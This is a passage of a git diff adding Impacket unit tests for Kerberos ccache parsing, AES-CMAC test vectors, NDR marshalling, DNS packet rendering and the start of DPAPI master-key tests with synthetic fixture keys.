+    @pytest.mark.skipif(PY2, reason="requires python 3.3 or higher")
+    def test_ccache_parseFile_no_cache(self):
+        if not PY2:
+            with mock.patch.dict(os.environ, {}, clear=True):
+                domain, username, TGT, TGS = CCache.parseFile(self.domain, self.username)
+                self.assertEqual(domain, self.domain)
+                self.assertEqual(username, self.username)
+                self.assertIsNone(TGT)
+                self.assertIsNone(TGS)
+
+    @pytest.mark.skipif(PY2, reason="requires python 3.3 or higher")
+    def test_ccache_parseFile_unexistent(self):
+        if not PY2:
+            with mock.patch.dict(os.environ, {"KRB5CCNAME": "ccache-unexistent-file"}):
+                with self.assertRaises(FileNotFoundError):
+                    CCache.parseFile(self.domain, self.username)
+
+    @pytest.mark.skipif(PY2, reason="requires python 3.3 or higher")
+    def test_ccache_parseFile(self):
+        if not PY2:
+            with mock.patch.dict(os.environ, {"KRB5CCNAME": self.cache_v4_file}):
+                domain, username, TGT, TGS = CCache.parseFile("")
+                self.assertEqual(domain, self.domain)
+                self.assertEqual(username, self.username)
+                self.assertIsNone(TGS)
+                self.assertIsNotNone(TGT)
+
+                domain, username, TGT, TGS = CCache.parseFile("unexistent_domain")
+                self.assertIsNone(TGS)
+                self.assertIsNone(TGT)
+
+                domain, username, TGT, TGS = CCache.parseFile(self.domain)
+                self.assertEqual(domain, self.domain)
+                self.assertEqual(username, self.username)
+                self.assertIsNone(TGS)
+                self.assertIsNotNone(TGT)
+
+                domain, username, TGT, TGS = CCache.parseFile(self.domain, self.username)
+                self.assertEqual(domain, self.domain)
+                self.assertEqual(username, self.username)
+                self.assertIsNone(TGS)
+                self.assertIsNotNone(TGT)
+
+
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/misc/test_crypto.py b/tests/misc/test_crypto.py
new file mode 100644
index 0000000..fd3484d
--- /dev/null
+++ b/tests/misc/test_crypto.py
@@ -0,0 +1,84 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+from __future__ import print_function, division
+import unittest
+from binascii import hexlify, unhexlify
+
+from impacket.crypto import Generate_Subkey, AES_CMAC, AES_CMAC_PRF_128
+
+
+def by8(s):
+    return [s[i:i + 8] for i in range(0, len(s), 8)]
+
+
+def hex8(b):
+    return ' '.join(by8(hexlify(b).decode('ascii')))
+
+
+def pp(prev, s):
+    print(prev, end=' ')
+    for c in by8(s):
+        print(c, end=' ')
+    #    for i in range((len(s)//8)):
+    #        print("%s" % (s[:8]), end = ' ')
+    #        s = s[8:]
+    print()
+    return ''
+
+
+class CryptoTests(unittest.TestCase):
+    def test_subkey(self):
+        K = "2b7e151628aed2a6abf7158809cf4f3c"
+        M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710"  # noqa
+
+        K1, K2 = Generate_Subkey(unhexlify(K))
+        self.assertEqual(hex8(K1), 'fbeed618 35713366 7c85e08f 7236a8de')
+        self.assertEqual(hex8(K2), 'f7ddac30 6ae266cc f90bc11e e46d513b')
+
+    def test_AES_CMAC(self):
+        K = "2b7e151628aed2a6abf7158809cf4f3c"
+        M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710"
+        # Example 1: len = 0
+        self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 0)),
+                         'bb1d6929 e9593728 7fa37d12 9b756746')
+        # Example 2: len = 16
+        self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 16)),
+                         '070a16b4 6b4d4144 f79bdd9d d04a287c')
+        # Example 3: len = 40
+        self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 40)),
+                         'dfa66747 de9ae630 30ca3261 1497c827')
+        # Example 3: len = 64
+        self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 64)),
+                         '51f0bebf 7e3b9d92 fc497417 79363cfe')
+        M = "eeab9ac8fb19cb012849536168b5d6c7a5e6c5b2fcdc32bc29b0e3654078a5129f6be2562046766f93eebf146b"
+        K = "6c3473624099e17ff3a39ff6bdf6cc38"
+        # Mac = dbf63fd93c4296609e2d66bf79251cb5
+        # Example 4: len = 45
+        self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 45)),
+                         'dbf63fd9 3c429660 9e2d66bf 79251cb5')
+
+    def test_AES_CMAC_PRF_128(self):
+        K = "000102030405060708090a0b0c0d0e0fedcb"
+        M = "000102030405060708090a0b0c0d0e0f10111213"
+
+        # AES-CMAC-PRF-128 Test Vectors
+        # Example 1: len = 0, Key Length       18
+        self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K), unhexlify(M), 18, len(unhexlify(M)))),
+                         '84a348a4 a45d235b abfffc0d 2b4da09a')
+        # Example 1: len = 0, Key Length       16
+        self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:16], unhexlify(M), 16, len(unhexlify(M)))),
+                         '980ae87b 5f4c9c52 14f5b6a8 455e4c2d')
+        # Example 1: len = 0, Key Length       10
+        self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:10], unhexlify(M), 10, len(unhexlify(M)))),
+                         '290d9e11 2edb09ee 141fcf64 c0b72f3d')
+
+
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/misc/test_dcerpc_v5_ndr.py b/tests/misc/test_dcerpc_v5_ndr.py
new file mode 100644
index 0000000..318b5d7
--- /dev/null
+++ b/tests/misc/test_dcerpc_v5_ndr.py
@@ -0,0 +1,182 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+from __future__ import print_function
+import unittest
+from binascii import hexlify
+
+from impacket.dcerpc.v5.ndr import (NDRSTRUCT, NDRLONG, NDRSHORT,
+                                    NDRUniFixedArray,
+                                    NDRUniVaryingArray,
+                                    NDRUniConformantVaryingArray,
+                                    NDRVaryingString,
+                                    NDRConformantVaryingString,
+                                    NDRPOINTERNULL)
+
+
+def hexl(b):
+    hexstr = str(hexlify(b).decode('ascii'))
+    return ' '.join([hexstr[i:i + 8] for i in range(0, len(hexstr), 8)])
+
+
+class NDRTest(object):
+
+    def create(self, data=None, isNDR64=False):
+        if data is not None:
+            return self.theClass(data, isNDR64=isNDR64)
+        else:
+            return self.theClass(isNDR64=isNDR64)
+
+    def do_test(self, isNDR64=False):
+        a = self.create(isNDR64=isNDR64)
+        self.populate(a)
+        # packing...
+        a_str = a.getData()
+        self.check_data(a_str, isNDR64)
+        # unpacking...
+        b = self.create(a_str, isNDR64=isNDR64)
+        b_str = b.getData()
+        self.assertEqual(b_str, a_str)
+
+    def test_false(self):
+        self.do_test(False)
+
+    def test_true(self):
+        # Now the same tests but with NDR64
+        self.do_test(True)
+
+    def check_data(self, a_str, isNDR64):
+        try:
+            hexData = getattr(self, 'hexData64' if isNDR64 else 'hexData')
+            # Regression check
+            self.assertEqual(hexl(a_str), hexData)
+        except AttributeError:
+            # Show result, to aid adding regression check
+            print(self.__class__.__name__, isNDR64, hexl(a_str))
+
+
+class TestUniFixedArray(NDRTest, unittest.TestCase):
+    class theClass(NDRSTRUCT):
+        structure = (
+            ('Array', NDRUniFixedArray),
+        )
+
+    def populate(self, a):
+        a['Array'] = b'12345678'
+
+    hexData = '31323334 35363738'
+    hexData64 = hexData
+
+
+class TestStructWithPad(NDRTest, unittest.TestCase):
+    class theClass(NDRSTRUCT):
+        structure = (
+            ('long', NDRLONG),
+            ('short', NDRSHORT),
+        )
+
+    def populate(self, a):
+        a['long'] = 0xaa
+        a['short'] = 0xbb
+
+    hexData = 'aa000000 bb00'
+    hexData64 = hexData
+
+
+# class TestUniConformantArray(NDRTest):
+#    class theClass(NDRCall):
+#        structure = (
+#            ('Array', PNDRUniConformantArray),
+#            ('Array2', PNDRUniConformantArray),
+#        )
+#        def __init__(self, data = None,isNDR64 = False):
+#            NDRCall.__init__(self, None, isNDR64)
+#            self.fields['Array'].fields['Data'].item = RPC_UNICODE_STRING
+#            self.fields['Array2'].fields['Data'].item = RPC_UNICODE_STRING
+#            if data is not None:
+#                self.fromString(data)
+#        
+#    def populate(self, a):
+#        array = []
+#        strstr = RPC_UNICODE_STRING()
+#        strstr['Data'] = 'ThisIsMe'
+#        array.append(strstr)
+#        strstr = RPC_UNICODE_STRING()
+#        strstr['Data'] = 'ThisIsYou'
+#        array.append(strstr)
+#        a['Array'] = array
+#        a['Array2'] = array
+
+class TestUniVaryingArray(NDRTest, unittest.TestCase):
+    class theClass(NDRSTRUCT):
+        structure = (
+            ('Array', NDRUniVaryingArray),
+        )
+
+    def populate(self, a):
+        a['Array'] = b'12345678'
+
+    hexData = '00000000 08000000 31323334 35363738'
+    hexData64 = '00000000 00000000 08000000 00000000 31323334 35363738'
+
+
+class TestUniConformantVaryingArray(NDRTest, unittest.TestCase):
+    class theClass(NDRSTRUCT):
+        structure = (
+            ('Array', NDRUniConformantVaryingArray),
+        )
+
+    def populate(self, a):
+        a['Array'] = b'12345678'
+
+    hexData = '08000000 00000000 08000000 31323334 35363738'
+    hexData64 = '08000000 00000000 00000000 00000000 08000000 00000000 31323334 35363738'
+
+
+class TestVaryingString(NDRTest, unittest.TestCase):
+    class theClass(NDRSTRUCT):
+        structure = (
+            ('Array', NDRVaryingString),
+        )
+
+    def populate(self, a):
+        a['Array'] = b'12345678'
+
+    hexData = '00000000 09000000 31323334 35363738 00'
+    hexData64 = '00000000 00000000 09000000 00000000 31323334 35363738 00'
+
+
+class TestConformantVaryingString(NDRTest, unittest.TestCase):
+    class theClass(NDRSTRUCT):
+        structure = (
+            ('Array', NDRConformantVaryingString),
+        )
+
+    def populate(self, a):
+        a['Array'] = b'12345678'
+
+    hexData = '08000000 00000000 08000000 31323334 35363738'
+    hexData64 = '08000000 00000000 00000000 00000000 08000000 00000000 31323334 35363738'
+
+
+class TestPointerNULL(NDRTest, unittest.TestCase):
+    class theClass(NDRSTRUCT):
+        structure = (
+            ('Array', NDRPOINTERNULL),
+        )
+
+    def populate(self, a):
+        pass
+
+    hexData = '00000000'
+    hexData64 = '00000000 00000000'
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/misc/test_dns.py b/tests/misc/test_dns.py
new file mode 100644
index 0000000..e272340
--- /dev/null
+++ b/tests/misc/test_dns.py
@@ -0,0 +1,148 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+
+from impacket.dns import DNS
+
+
+class DNSTests(unittest.TestCase):
+    def test_str(self):
+        def chk(b, t):
+            self.assertEqual(str(DNS(b)), t)
+
+        chk(b"\x6a\x8c\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x77\x77\x77"
+            b"\x05\x74\x61\x72\x74\x61\x03\x63\x6f\x6d\x00\x00\x01\x00\x01",
+            "DNS QUERY\n - Transaction ID -- [0x6a8c] 27276\n"
+            " - Flags ----------- [0x0100] 256\n"
+            " - QdCount --------- [0x0001] 1\n"
+            " - AnCount --------- [0x0000] 0\n"
+            " - NsCount --------- [0x0000] 0\n"
+            " - ArCount --------- [0x0000] 0\n"
+            " - Questions:\n"
+            "  * Domain: www.tarta.com - Type: A [0x0001] - Class: IN [0x0001]\n")
+
+        chk(b"\x6a\x8c\x81\x80\x00\x01\x00\x02\x00\x02\x00\x00\x03\x77\x77\x77"
+            b"\x05\x74\x61\x72\x74\x61\x03\x63\x6f\x6d\x00\x00\x01\x00\x01\xc0"
+            b"\x0c\x00\x05\x00\x01\x00\x00\x07\x08\x00\x02\xc0\x10\xc0\x10\x00"
+            b"\x01\x00\x01\x00\x00\x07\x08\x00\x04\x45\x59\x1f\xc7\xc0\x10\x00"
+            b"\x02\x00\x01\x00\x02\xa3\x00\x00\x0f\x03\x6e\x73\x31\x08\x62\x6c"
+            b"\x75\x65\x68\x6f\x73\x74\xc0\x16\xc0\x10\x00\x02\x00\x01\x00\x02"
+            b"\xa3\x00\x00\x06\x03\x6e\x73\x32\xc0\x4d",
+            "DNS RESPONSE\n"
+            " - Transaction ID -- [0x6a8c] 27276\n"
+            " - Flags ----------- [0x8180] 33152\n"
+            " - QdCount --------- [0x0001] 1\n"
+            " - AnCount --------- [0x0002] 2\n"
+            " - NsCount --------- [0x0002] 2\n"
+            " - ArCount --------- [0x0000] 0\n"
+            " - Questions:\n"
+            "  * Domain: www.tarta.com - Type: A [0x0001] - Class: IN [0x0001]\n"
+            " - Answers:\n"
+            "  * Domain: www.tarta.com - Type: CNAME [0x0005] - Class: IN [0x0001] - TTL: 1800 seconds - {'Name': 'tarta.com'}\n"
+            "  * Domain: tarta.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 1800 seconds - {'IPAddress': '69.89.31.199'}\n"
+            " - Authoritative:\n"
+            "  * Domain: tarta.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 172800 seconds - {'Name': 'ns1.bluehost.com'}\n"
+            "  * Domain: tarta.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 172800 seconds - {'Name': 'ns2.bluehost.com'}\n")
+
+        chk(b"\x82\x75\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x77\x77\x77"
+            b"\x04\x6a\x68\x6f\x6e\x03\x63\x6f\x6d\x00\x00\x01\x00\x01",
+            "DNS QUERY\n"
+            " - Transaction ID -- [0x8275] 33397\n"
+            " - Flags ----------- [0x0100] 256\n"
+            " - QdCount --------- [0x0001] 1\n"
+            " - AnCount --------- [0x0000] 0\n"
+            " - NsCount --------- [0x0000] 0\n"
+            " - ArCount --------- [0x0000] 0\n"
+            " - Questions:\n"
+            "  * Domain: www.jhon.com - Type: A [0x0001] - Class: IN [0x0001]\n")
+
+        chk(b"\x82\x75\x81\x80\x00\x01\x00\x01\x00\x02\x00\x02\x03\x77\x77\x77"
+            b"\x04\x6a\x68\x6f\x6e\x03\x63\x6f\x6d\x00\x00\x01\x00\x01\xc0\x0c"
+            b"\x00\x01\x00\x01\x00\x00\x00\x05\x00\x04\xd1\x3b\xc3\x14\xc0\x10"
+            b"\x00\x02\x00\x01\x00\x00\x06\xf8\x00\x0f\x03\x6e\x73\x31\x08\x74"
+            b"\x72\x61\x66\x66\x69\x63\x7a\xc0\x15\xc0\x10\x00\x02\x00\x01\x00"
+            b"\x00\x06\xf8\x00\x06\x03\x6e\x73\x32\xc0\x3e\xc0\x3a\x00\x01\x00"
+            b"\x01\x00\x00\x00\x0d\x00\x04\xd1\x3b\xc2\xf6\xc0\x55\x00\x01\x00"
+            b"\x01\x00\x00\x00\x85\x00\x04\xd1\x3b\xc3\xf6",
+            "DNS RESPONSE\n"
+            " - Transaction ID -- [0x8275] 33397\n"
+            " - Flags ----------- [0x8180] 33152\n"
+            " - QdCount --------- [0x0001] 1\n"
+            " - AnCount --------- [0x0001] 1\n"
+            " - NsCount --------- [0x0002] 2\n"
+            " - ArCount --------- [0x0002] 2\n"
+            " - Questions:\n"
+            "  * Domain: www.jhon.com - Type: A [0x0001] - Class: IN [0x0001]\n"
+            " - Answers:\n"
+            "  * Domain: www.jhon.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 5 seconds - {'IPAddress': '209.59.195.20'}\n"
+            " - Authoritative:\n"
+            "  * Domain: jhon.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 1784 seconds - {'Name': 'ns1.trafficz.com'}\n"
+            "  * Domain: jhon.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 1784 seconds - {'Name': 'ns2.trafficz.com'}\n"
+            " - Additionals:\n"
+            "  * Domain: ns1.trafficz.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 13 seconds - {'IPAddress': '209.59.194.246'}\n"
+            "  * Domain: ns2.trafficz.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 133 seconds - {'IPAddress': '209.59.195.246'}\n")
+
+        chk(b"\xef\x55\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x04\x6d\x61\x69"
+            b"\x6c\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x00\x00\x01\x00"
+            b"\x01",
+            "DNS QUERY\n"
+            " - Transaction ID -- [0xef55] 61269\n"
+            " - Flags ----------- [0x0100] 256\n"
+            " - QdCount --------- [0x0001] 1\n"
+            " - AnCount --------- [0x0000] 0\n"
+            " - NsCount --------- [0x0000] 0\n"
+            " - ArCount --------- [0x0000] 0\n"
+            " - Questions:\n"
+            "  * Domain: mail.google.com - Type: A [0x0001] - Class: IN [0x0001]\n")
+
+        chk(b"\xef\x55\x81\x80\x00\x01\x00\x04\x00\x04\x00\x04\x04\x6d\x61\x69"
+            b"\x6c\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x00\x00\x01\x00"
+            b"\x01\xc0\x0c\x00\x05\x00\x01\x00\x00\x06\x79\x00\x0f\x0a\x67\x6f"
+            b"\x6f\x67\x6c\x65\x6d\x61\x69\x6c\x01\x6c\xc0\x11\xc0\x2d\x00\x01"
+            b"\x00\x01\x00\x00\x00\x77\x00\x04\xd1\x55\xc3\x53\xc0\x2d\x00\x01"
+            b"\x00\x01\x00\x00\x00\x77\x00\x04\xd1\x55\xc3\x12\xc0\x2d\x00\x01"
+            b"\x00\x01\x00\x00\x00\x77\x00\x04\xd1\x55\xc3\x13\xc0\x11\x00\x02"
+            b"\x00\x01\x00\x00\x00\x5d\x00\x06\x03\x6e\x73\x33\xc0\x11\xc0\x11"
+            b"\x00\x02\x00\x01\x00\x00\x00\x5d\x00\x06\x03\x6e\x73\x34\xc0\x11"
+            b"\xc0\x11\x00\x02\x00\x01\x00\x00\x00\x5d\x00\x06\x03\x6e\x73\x31"
+            b"\xc0\x11\xc0\x11\x00\x02\x00\x01\x00\x00\x00\x5d\x00\x06\x03\x6e"
+            b"\x73\x32\xc0\x11\xc0\x9c\x00\x01\x00\x01\x00\x00\x04\x4e\x00\x04"
+            b"\xd8\xef\x20\x0a\xc0\xae\x00\x01\x00\x01\x00\x00\x06\x64\x00\x04"
+            b"\xd8\xef\x22\x0a\xc0\x78\x00\x01\x00\x01\x00\x00\x00\x05\x00\x04"
+            b"\xd8\xef\x24\x0a\xc0\x8a\x00\x01\x00\x01\x00\x00\x00\x08\x00\x04"
+            b"\xd8\xef\x26\x0a",
+            "DNS RESPONSE\n"
+            " - Transaction ID -- [0xef55] 61269\n"
+            " - Flags ----------- [0x8180] 33152\n"
+            " - QdCount --------- [0x0001] 1\n"
+            " - AnCount --------- [0x0004] 4\n"
+            " - NsCount --------- [0x0004] 4\n"
+            " - ArCount --------- [0x0004] 4\n"
+            " - Questions:\n"
+            "  * Domain: mail.google.com - Type: A [0x0001] - Class: IN [0x0001]\n"
+            " - Answers:\n"
+            "  * Domain: mail.google.com - Type: CNAME [0x0005] - Class: IN [0x0001] - TTL: 1657 seconds - {'Name': 'googlemail.l.google.com'}\n"
+            "  * Domain: googlemail.l.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 119 seconds - {'IPAddress': '209.85.195.83'}\n"
+            "  * Domain: googlemail.l.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 119 seconds - {'IPAddress': '209.85.195.18'}\n"
+            "  * Domain: googlemail.l.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 119 seconds - {'IPAddress': '209.85.195.19'}\n"
+            " - Authoritative:\n"
+            "  * Domain: google.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 93 seconds - {'Name': 'ns3.google.com'}\n"
+            "  * Domain: google.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 93 seconds - {'Name': 'ns4.google.com'}\n"
+            "  * Domain: google.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 93 seconds - {'Name': 'ns1.google.com'}\n"
+            "  * Domain: google.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 93 seconds - {'Name': 'ns2.google.com'}\n"
+            " - Additionals:\n"
+            "  * Domain: ns1.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 1102 seconds - {'IPAddress': '216.239.32.10'}\n"
+            "  * Domain: ns2.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 1636 seconds - {'IPAddress': '216.239.34.10'}\n"
+            "  * Domain: ns3.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 5 seconds - {'IPAddress': '216.239.36.10'}\n"
+            "  * Domain: ns4.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 8 seconds - {'IPAddress': '216.239.38.10'}\n")
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/misc/test_dpapi.py b/tests/misc/test_dpapi.py
new file mode 100644
index 0000000..6657031
--- /dev/null
+++ b/tests/misc/test_dpapi.py
@@ -0,0 +1,304 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   MasterKey
+# Not yet:
+#
+import os
+import pytest
+import unittest
+from binascii import unhexlify
+
+from impacket.dpapi import (DPAPI_SYSTEM, MasterKeyFile, MasterKey, CredentialFile, DPAPI_BLOB,
+                            CREDENTIAL_BLOB, VAULT_VPOL, VAULT_VPOL_KEYS, VAULT_VCRD, VAULT_KNOWN_SCHEMAS)
+from Cryptodome.Cipher import AES
+from Cryptodome.Hash import HMAC, MD4, SHA1
+
+
+def dpapi_protect(blob, entropy=None):
+    """Helper function to protect a blob of data using Windows' DPAPI via ctypes."""
+
+    if os.name != "nt":
+        raise Exception("DP API functions are only available in Windows")
+
+    blob = bytes(blob)
+    entropy = bytes(entropy or b"")
+
+    from ctypes import windll, byref, cdll, Structure, POINTER, c_char, c_buffer
+    from ctypes.wintypes import DWORD
+
+    LocalFree = windll.kernel32.LocalFree
+    memcpy = cdll.msvcrt.memcpy
+    CryptProtectData = windll.crypt32.CryptProtectData
+    CRYPTPROTECT_UI_FORBIDDEN = 0x01
+
+    class DATA_BLOB(Structure):
+        _fields_ = [('cbData', DWORD),
+                    ('pbData', POINTER(c_char))
+                    ]
+
+    def parse_data(data):
+        cbData = int(data.cbData)
+        pbData = data.pbData
+        buffer = c_buffer(cbData)
+        memcpy(buffer, pbData, cbData)
+        LocalFree(pbData)
+        return buffer.raw
+
+    buffer_in = c_buffer(blob, len(blob))
+    buffer_entropy = c_buffer(entropy, len(entropy))
+    blob_in = DATA_BLOB(len(blob), buffer_in)
+    blob_entropy = DATA_BLOB(len(entropy), buffer_entropy)
+    blob_out = DATA_BLOB()
+
+    if CryptProtectData(byref(blob_in), None, byref(blob_entropy), None, None,
+                        CRYPTPROTECT_UI_FORBIDDEN, byref(blob_out)):
+        return parse_data(blob_out)
+
+    raise Exception("Unable to encrypt blob")
+
+
+class DPAPITests(unittest.TestCase):
+
+    machineKey = unhexlify('2bb2109db472825bfa7660fdbed62c981f08587b')
+
+    userKey = unhexlify('458dc597034d8801fc6fe3b342817caabb81a0cb')
+
+    sid = "S-1-5-21-1455520393-2011455520393-2019809541-4133251990-500"
+
+    username = "david.bowie\x00"
+    password = "Admin456"
+
+    adminMasterKey = unhexlify('4c4a398169cc9ecc6eae0e1a70ba1dc58bfec785c4b35bd1afdf2aeb06753bca0ea3491989cb626990973f8370fd576a46c0ce2a85d995a01af6d727ff41969c')
+
+    adminMasterKeyFile = b'\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00a\x004\x003\x00a\x00c\x007' \
+                         b'\x001\x00-\x005\x002\x00d\x001\x00-\x004\x00b\x001\x005\x00-\x008\x004\x00c\x00b' \
+                         b'\x00-\x000\x001\x00a\x005\x00e\x007\x00f\x000\x006\x003\x005\x000\x00\x00\x00\x00' \
+                         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00' \
+                         b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x01\x00\x00\x00\x00\x00\x00\x02' \
+                         b'\x00\x00\x00\xd7\x086A\xa3\xfc\x10[\x87\x00\xea\xd0\x86S\x042\xc0]\x00\x00\t\x80' \
+                         b'\x00\x00\x03f\x00\x00!"}/=B\x08\xf9Q\xffW\xc0\xa0)\x16z\x15l\x1d\xe3\xf9\x17\xcd' \
+                         b'\x8elf\x98e\x9a\xcc}\xda\xb0\x11\x7fVWJ\xd3\x02\xael\x08\xf4\xach\x9c\xf9\xbbO' \
+                         b'\x13\x17\xe1P\xef\x99\xa8^\xae[8)\x12\x86\xf1B-\xdb\x8c\xaf\xa5@1\x90\xba\x1e' \
+                         b'\xd0E\x1b\xd0!C\xca\xcc\xc6h\x9a6\xe4B;\x8cM+\xd3\xd6R\xf5\xb5~\xd9\xc2\n\x9d\x02' \
+                         b'\x00\x00\x00\xc2\x9e\x93\xc9\xd7*\xd8\x04\xcd\x8d\xfcUAR\x01\x9d\xc0]\x00\x00\t' \
+                         b'\x80\x00\x00\x03f\x00\x00\xc2zU\xa7\'\xc6dj\xd8\x93\xb6\xac\xc0KQ\x8a\xea+>\xe0' \
+                         b'SK@\x8b\xcc\x8e-Ua1\x92\x87\x05\x12\x7f\xe4!\xe9\xa2\x01\x89\x91JD$\x9bS\xdd\x02' \
+                         b'\xba2%\xef3\t\x19Cu\x12S"\xd8Dr\xf4k\x809\xbc\xbaEJ\x02\x00\x00\x00\x00\x01\x00' \
+                         b'\x00X\x00\x00\x00\xe9\x99\xde\xe7\'K\xc0D\xa1\xbe\xf3\xf4=\xc8\xa8\x9f\x9bQ\x1d' \
+                         b'\x12I\xfd\xd6_\x8f9t\xc3\xfe<\x82\xa1%\x80\x8e\xaa5&\xd2\xa4\xedW\x8e\x17\x9b\xe0' \
+                         b'\xe5$}\x13;\x04\xea\xce\xc2\xd3(\xfa\x8f\x02\xcd\xf2\xfa=\xa2\xf9P\x07\xc6pa\x81' \
+                         b'\xd9y\xb1\x07Q\xcf\xb9\x160\x89\xf8\xad\xce\xc11\x10O\x1c\xfc\xd5\xb7.\xcd\x83\xe6' \
+                         b'\xb5\xb5:\xf4\xa3(\xd3\xc3\xa3\x1b\x1dU\xec\xd8Y\xdb\xad\xd58\x8b\xf2\xe3\xc7\xd1' \
+                         b'\r\xd5\x93\x97\xd4:r\x01\x8e\xf4b\x10\xed\x14h\x81\x9c>\x9b\x99\x1c\x0f\xaar\x05' \
+                         b'\xf7f_\x89e\xea\x80j\xcb\x92\xa3\xc3w\xc4\x1a\xed\xe9\xceu\x05\x87\xd2r\xda\xa3' \
+                         b'\x86\xd0\x8a\x9f\x81\xcde\xaf\xdc\x9a\x86$\xf7\xd7Eu\xc6W\xdam\x18\x8e\xc7wE4' \
+                         b'\x90wx&\x11/\xf3Rh\xf4\xb4=\xdd\xbe\xa4\xcbR\xf9\xf6\x15C\x02\xc90\x931\xefY$' \
+                         b'\x9aB\x94h4\x04\t\xb1Y\x83N\xd2\xd3\xa6|h\x04\xa4*sR\x9e\xd2pE\x1e\xc0b">\xdd\xc8' \
+                         b'\xef\x9cb\xf0jVP\x9aJA\x9b|\xdbx\xdd\xcbs\xd4\xdd\x95\x88\xd4\x87,LyMf\x9b\xdf' \
+                         b'\xb7\xc0\x0cJ52]\x8f=\x8eE\xe7\x93u\xe9\x18\xea%\xd7U\x17(0\xe4\x8c\xcb\xe1Q\xc7' \
+                         b'\xfa\xc3qX/.\xf0r\xd2\x9a\xb35\x8e\x18\xdb\x8e\x81\xc7x\xab\x81\xbd\xcf,\x1c\xc8x' \
+                         b'\x9d\xf2\x9c;\x01xo\x84\xfdx\xb4\x14G-\xd3o'
+
+    systemMasterKey = unhexlify('682a9b8923ff4ca7ce0ef7e4cee061f0ff942cd31c7703ec60792740b2e7d0b1b5115d1ff77e10b77e189e0d6e99d5b668190ecd44fa84e82e049f406e2c2a59')
+
+    systemMasterKeyFile = b"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00e\x00a\x009\x005\x00e\x00b\x00a\x008" \
+                          b"\x00-\x00b\x00a\x000\x000\x00-\x004\x00e\x001\x00a\x00-\x00b\x004\x003\x00f\x00-\x005" \
+                          b"\x001\x00e\x00a\x003\x000\x001\x007\x001\x00d\x001\x001\x00\x00\x00\x00\x00\x00\x00" \
+                          b"\x00\x00\x06\x00\x00\x00\xb0\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00" \
+                          b"\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" \
+                          b"\xf4/a\xea\x0c\x96G\xbf@8\x19\x89\x84R\x08\x9f\xf8C\x00\x00\x0e\x80\x00\x00\x10f\x00" \
+                          b"\x00\xe2D\x1d\xec\x11\xa6\xb6\xf0?\xfe\xbb\xa1\xe7\x14s\xf7\x8d\xa4jR\xb1,\xaf\xf7" \
